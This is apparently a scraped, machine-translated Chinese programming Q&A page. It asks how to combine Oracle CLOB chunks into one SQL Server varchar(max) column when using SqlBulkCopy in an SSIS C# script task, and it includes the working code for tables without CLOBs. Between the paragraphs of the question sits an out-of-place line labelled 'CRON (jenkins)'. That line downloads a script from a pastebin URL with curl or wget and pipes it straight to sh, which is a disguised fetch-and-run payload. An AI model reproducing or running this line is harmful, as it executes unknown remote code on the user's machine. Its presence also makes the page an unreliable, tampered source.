SSIS ScriptTask SQLBulkCopy Oracle Clob-多列到单个本地列

时间:2019-03-26 20:44:06

标签: c# oracle ssis clob sqlbulkcopy

我们有一组表,可以通过将Clob分成4k块来快速从Oracle获取数据。我怀疑这样的自定义iDataReader:
    SqlBulkCopy ColumnMapping multiple columns
是必要的。我正在努力如何从数据读取器中获取Clob部分,并将它们一起添加到本地varchar(max)字段中,同时正常处理其他列。我有一个分支路径,因为并非所有表都具有这样的字段,并且可以快速处理其他路径。

我们尝试了许多方法,包括尝试将其直接拉入,切碎后加入到oracle端等。这似乎是最快的获取数据的方法。
(至少按顺序或幅度)

CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh)

clob列如下:

try
{
  int hasCLOB = (int)Dts.Variables["User::HasCLOB"].Value;
  if (hasCLOB == 0)
  {
    using (OleDbConnection connection = new OleDbConnection(Dts.Connections["GoldenGate"].ConnectionString))
    {
      using (OleDbCommand cmd = new OleDbCommand(Dts.Variables["User::BaseSelectSQL"].Value.ToString(), connection))
      {
        connection.Open();
        using (OleDbDataReader odr = cmd.ExecuteReader())
        {
          using (SqlConnection SQLconn = new SqlConnection(Dts.Connections["ADO_PSImport"].ConnectionString))
          {
            using (SqlBulkCopy bulkCopy = new SqlBulkCopy(SQLconn, SqlBulkCopyOptions.TableLock, null))
            {
              SQLconn.Open();
              bulkCopy.DestinationTableName = "dbo." + Dts.Variables["User::TableName"].Value.ToString();
              bulkCopy.EnableStreaming = true;
              bulkCopy.BatchSize = 5000;
              //bulkCopy.BulkCopyTimeout = 0;
              // Write rows from the source to the destination.
              bulkCopy.WriteToServer(odr);
            }
          }
        }
      }
    }
  } else
  { 
    // there is a clob field and table needs processed somewhat differently, .
  }
}

在这种情况下,本地字段为DESCRLONG,但可以不同,但​​是CLOBPARTS是通用的,并且被压入varchar(max)。所示的非CLOB途径似乎很好,因为它基于顺序位置。显然,这对多对一的工作不太奏效。

0 个答案:

没有答案